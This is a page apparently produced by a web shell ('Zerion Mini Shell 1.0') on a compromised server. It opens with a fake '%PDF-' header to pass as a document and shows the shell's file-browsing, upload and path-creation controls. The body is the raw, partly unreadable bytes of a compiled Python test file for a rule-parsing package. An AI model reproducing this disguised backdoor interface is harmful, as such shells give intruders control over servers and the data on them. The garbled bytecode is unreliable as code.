%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3.9/site-packages/tracer/tests/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3.9/site-packages/tracer/tests/__pycache__/test_rules.cpython-39.pyc

a

"e��@s�ddlTddlmZddlmZmZzddlmZmZdZ	Wn ddl
mZmZdZ	Yn0Gdd	�d	ej�Z
ed
kr�e��dS)�)�*�)�DATA_DIR)�Rules�Rule)�patch�	mock_openz
builtins.openz__builtin__.openc@s`eZdZedd��Zdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�Zdd�Zdd�Z
dS)�	TestRulescCsdd�tjD�|_dS)NcSsg|]}|�t�r|�qS�)�
startswithr��.0�xr
r
�;/usr/lib/python3.9/site-packages/tracer/tests/test_rules.py�
<listcomp>s
�z(TestRules.setUpClass.<locals>.<listcomp>)r�DEFINITIONS)�clsr
r
r�
setUpClassszTestRules.setUpClasscCs|jt_dt_dS�N)rrZ_rules��selfr
r
r�setUpszTestRules.setUpcCst��D]}|�|t�qdSr)r�allZassertIsInstancer�rZruler
r
r�test_rules_typesszTestRules.test_rules_typescCs|d}t��D]j}d|vs d|vr2|�dt|��|jtj��vrR|�d|j�t|�dkrn|�d|j�|d7}qdS)Nr�name�actionzMissing attributes in rule #zUnknown action in rule: �z Unsupported attributes in rule: )	rr�fail�strrZACTIONS�valuesr�len)r�i�rr
r
r�test_rules_attributesszTestRules.test_rules_attributescCs4t��}|D]"}|�|�dkr|�d|j�qdS)NrzDuplicate rules for: )rr�countrr)r�rulesr#r
r
r�test_rules_duplicity*szTestRules.test_rules_duplicitycCs|�t�d��dS)NZNON_EXISTING_APPLICATION)ZassertIsNoner�findrr
r
r�test_app_with_no_rule0szTestRules.test_app_with_no_rulecCs0tddi�}|�t|�d�|�t|�d�dS)Nr�fooz<Rule: foo>)r�assertEqualr�reprrr
r
r�test_representations3szTestRules.test_representationscCs8tddd��}tddd��}|�|�|�|jd�dS)Nr*�bar)rrZbaz)r�updater+r)rZr1Zr2r
r
r�test_update8s
zTestRules.test_updatecCs�dgt_d}ttt|d���vt��}|�t|�d�|�tdd�|D���|�|dj	d�|�|dj
d	�|�|d
j	d�Wd�n1s�0YdS)
z/
		Test parsing a single XML file with rules
		zwhatever-file.xmlzM<rules>    <rule name='foo' action='return' />    <rule name='bar' /></rules>)Z	read_datarcSsg|]}t|t��qSr
)�
isinstancerrr
r
rrM�z'TestRules.test_load.<locals>.<listcomp>rr*�returnrr.N)rrr�
builtins_openrrr+r!Z
assertTruerr)r�datar&r
r
r�	test_load?s�zTestRules.test_loadcCs$d}|D]}|j|kr|d7}q|S)Nrr)r)rZapp_nameZappsr%�ar
r
r�_countRs


zTestRules._countN)�__name__�
__module__�__qualname__�classmethodrrrr$r'r)r-r0r6r8r
r
r
rr	
s
r	�__main__N)Z__meta__Ztracer.pathsrZtracer.resources.rulesrrZ
unittest.mockrrr4ZmockZunittestZTestCaser	r9�mainr
r
r
r�<module>s
M

Zerion Mini Shell 1.0